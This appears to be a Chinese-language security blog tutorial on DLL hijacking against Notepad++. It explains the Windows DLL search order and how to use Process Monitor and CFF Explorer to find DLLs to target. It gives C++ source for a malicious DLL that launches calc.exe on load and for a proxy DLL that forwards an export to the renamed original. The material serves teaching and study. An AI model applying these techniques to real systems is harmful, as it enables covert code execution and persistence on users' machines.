什么是dll
DLL(Dynamic Link Library),全称动态链接库,是Windows系统上程序正常运⾏必不可少的功 能模块,是实现代码重⽤的具体形式。简单的说,可以把DLL理解成帮助程序完成各种功能的组件。DLL劫持漏洞(DLL Hijacking Exploit),严格点说,它是通过⼀些⼿段来劫持或者替换正常的DLL,欺 骗正常程序加载预先准备好的恶意DLL的⼀类漏洞的统称。利⽤DLL劫持漏洞,病毒⽊⻢可以随着⽂档的 打开(或者其他⼀些程序正常⾏为)⽽激活⾃身,进⽽获得系统的控制权。
原理
DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary 来看。熟悉Windows代 码的同学都知道,调⽤ LoadLibrary 时可以使⽤DLL的相对路径。这时,系统会按照特定的顺序搜索⼀ 些⽬录,以确定DLL的完整路径。根据MSDN⽂档的约定,在使⽤相对路径调⽤ LoadLibrary (同样适 ⽤于其他同类DLL LoadLibraryEx,ShellExecuteEx等)时,系统会依次从以下6个位置去查找所需要的 DLL⽂件(会根据SafeDllSearchMode配置⽽稍有不同)。
-
程序所在⽬录。
-
加载 DLL 时所在的当前⽬录。
-
系统⽬录即 SYSTEM32 ⽬录。
-
16位系统⽬录即 SYSTEM ⽬录。
-
Windows⽬录。
-
PATH环境变量中列出的⽬录
dll劫持就发⽣在系统按照顺序搜索这些特定⽬录时。只要⿊客能够将恶意的DLL放在优先于正 常DLL所在的⽬录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。
通过VS2019生成一个dll
两种不同的劫持方式
使用工具:ProcessMonitor
下载地址:
https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
一.劫持源程序没有的dll
使用ProcessMonitor 找到一个没有加载的dll,这里使用notepad++测试
添加过滤条件进程名为notepad++
添加过滤条件路径为E:\notepad++
添加结果为NAME NOT FOUND
然后点击ok
打开notepad++
可以看到有很多dll
先双击uxtheme.dll(
这里找一下,找一个有loadlibrary相关的API的dll,你的notepad++可能没有这个dll,因为notepad++版本有可能你的跟我的不一样
),然后左键stack
找到loadlibrary相关的API
在vs中编写恶意dll源⽂件后编译,把编译好的恶意dll⽂件名修改为需要劫持的dll⽂件名 后放⼊到notepad++.exe下的同级⽬录下(放在其他地方也可以,只要在dll寻找目录中):
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc.exe", SW_HIDE);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
当进程创建时就打开计算器
我们双击启动notepad++一下试试
成功弹出计算器,执行了我们的恶意代码
二.劫持已经存在的dll
工具:CFF explorer
下载地址
:
http://www.ntcore.com/files/ExplorerSuite.exe
1.设置过滤条件如图,过程跟刚刚差不多
2.打开notepad.exe,查看监听器中有dll⽂件的事件详情:
3. 可以看到这个dll⽂件是notepad++使⽤系统API LoadLibrary 调⽤的,所以可以利⽤该点对程序进⾏ dll劫持
找到这个dll,就在notepad++相同目录下
4.把这个dll拖入CFF explorer 中
找到这个导出表
他有一个导出函数
5.在vs2019中编写恶意dll⽂件后编译,将恶意dll⽂件名修改为所要劫持的dll⽂件名,将原dll⽂件名修改为恶意dll⽂件中所设置的⽂件名
#include "pch.h"
extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("calc.exe", SW_HIDE);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void Scintilla_DirectFunction()
{
MessageBox(NULL, L"hello", L"SD", NULL);
HINSTANCE hDll = LoadLibrary(L"SciLexer_org.dll");
if (hDll)
{
typedef DWORD(WINAPI* EXPFUNC)();
EXPFUNC expFunc = NULL;
expFunc = (EXPFUNC)GetProcAddress(hDll,"Scintilla_DirectFunction");
if (expFunc)
{
expFunc();
}
FreeLibrary(hDll);
}
return;
}
这里虽然报错但是还是弹出了计算机
说明
在notepad++7.3.3以后notepad官方已经修复这个漏洞,再7.3.3版本以后每次运行notepad++会先检查这个dll是否时原来的dll,这里如果要测试需要下载7.3.3以前的版本
本文仅供学习,切勿用于非法破坏!
推荐阅读:
干货 | 如何快速完成DLL劫持,实现权限维持,重启上线